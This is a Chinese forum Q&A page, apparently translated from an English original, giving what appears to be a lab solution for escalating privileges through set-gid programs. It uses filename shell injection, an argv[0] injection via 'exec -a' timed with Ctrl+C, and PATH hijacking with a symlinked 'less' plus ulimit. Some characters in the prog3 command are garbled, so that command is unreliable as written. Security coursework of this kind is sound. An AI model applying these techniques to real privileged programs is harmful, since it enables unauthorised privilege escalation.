如何使用set-guid（即设置组标识）漏洞来执行具有有限权限的文件？

作者: 机器设备维修
发布时间: 2024-12-11 06:56:54 (1月前)
转自：

2 条回复

0#
回复此人
林老爷的日常 | 2019-08-31 10-32

<div class =“post-text”itemprop =“text”> <P> 通过利用shell注入漏洞可以解决这个问题。 </p> <P> 对于prog2： </p> <pre> <code> $ /usr/local/bin/prog2 </code> </pre> <P> 出现提示时，输入 <code> /bin/grade </code> 作为杀菌者忘记解决的特殊字符中的文件名。 </p> <P> 对于prog3： </p> <pre> <code> $ exec -a ��;/bin/grade�� /usr/local/bin/prog3 5000 </code> </pre> <P> 但你必须打 <code> Ctrl+C </code> 快速以便调用中断信号功能。 </p> <P> 对于prog4： </p> <pre> <code> $ cd ~/ $ export PATH=/path/to/your/home:$PATH //prepend the path to your current/home directory so that the system looks there for `less` $ ln -s -f /bin/grade less $ ulimit -n 6 $ /usr/local/bin/prog4 </code> </pre> </DIV>

编辑

登录后才能参与评论